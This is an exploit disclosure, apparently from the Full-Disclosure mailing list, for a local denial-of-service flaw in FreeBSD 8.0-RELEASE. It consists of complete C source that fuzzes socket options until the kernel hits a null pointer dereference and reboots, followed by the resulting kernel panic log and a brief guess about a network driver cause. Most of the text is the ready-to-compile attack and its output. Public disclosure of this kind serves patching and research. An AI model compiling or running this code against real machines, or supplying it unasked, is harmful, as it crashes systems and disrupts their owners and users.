# Exploit Title: FreeBSD local denial of service - forced reboot # Date: 28. January 2011 # Author: Kingcope # Software Link: http://www.freebsd.org # Operating System: FreeBSD # Tested on: 8.0-RELEASE
This source code when compiled and executed will reboot at least FreeBSD 8.0-RELEASE because of a null pointer dereference. #include <sys/types.h> #include <sys/mman.h> #define PAGE_SIZE 4096 #include <sys/stat.h> #include <fcntl.h> #include <sys/socket.h> main() { int k,fd,i2,i3,i4,i5,i6,i7,i8; char *p; char buf[4096]; for (i2=0;i2<256;i2++) { for (i3=0;i3<2;i3++) { for (i4=0;i4<2;i4++) { fd = socket(i2, i3, i4); if (fd < 0) continue; printf("SUCCESS!\n"); for (i5=0;i5<100;i5++) { for (i6=0;i6<100;i6++) { setsockopt(fd, i5, i6, buf, 4); getsockopt(fd, i5, i6, buf, &i7); }}}}} } The crash dump looks like the following. Jan 28 11:33:07 r00tme kernel: Jan 28 11:33:07 r00tme kernel: Jan 28 11:33:07 r00tme kernel: Fatal trap 12: page fault while in kernel mode Jan 28 11:33:07 r00tme kernel: cpuid = 0; apic id = 00 Jan 28 11:33:07 r00tme kernel: fault virtual address = 0xc Jan 28 11:33:07 r00tme kernel: fault code = supervisor write, page not present Jan 28 11:33:07 r00tme kernel: instruction pointer = 0x20:0xc06143ba Jan 28 11:33:07 r00tme kernel: stack pointer = 0x28:0xcd1fa5b4 Jan 28 11:33:07 r00tme kernel: frame pointer = 0x28:0xcd1fa85c Jan 28 11:33:07 r00tme kernel: code segment = base 0x0, limit 0xfffff, type 0x1b Jan 28 11:33:07 r00tme kernel: = DPL 0, pres 1, def32 1, gran 1 Jan 28 11:33:07 r00tme kernel: processor eflags = interrupt enabled, resume, IOPL = 0 Jan 28 11:33:07 r00tme kernel: current process = 1004 (bsdcrash) Jan 28 11:33:07 r00tme kernel: trap number = 12 Jan 28 11:33:07 r00tme kernel: panic: page fault Jan 28 11:33:07 r00tme kernel: cpuid = 0 Jan 28 11:33:07 r00tme kernel: Uptime: 2m48s Jan 28 11:33:07 r00tme kernel: Cannot dump. Device not defined or unavailable. Jan 28 11:33:07 r00tme kernel: Automatic reboot in 15 seconds - press a key on the console to abort Jan 28 11:33:07 r00tme kernel: Rebooting... The cause of the crash seems to be a specific network driver. Since the crash is forced (only?) in a VMWare virtual machine the exploitability can be dependent on the loaded device drivers and installed hardware. Regards, Kingcope _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/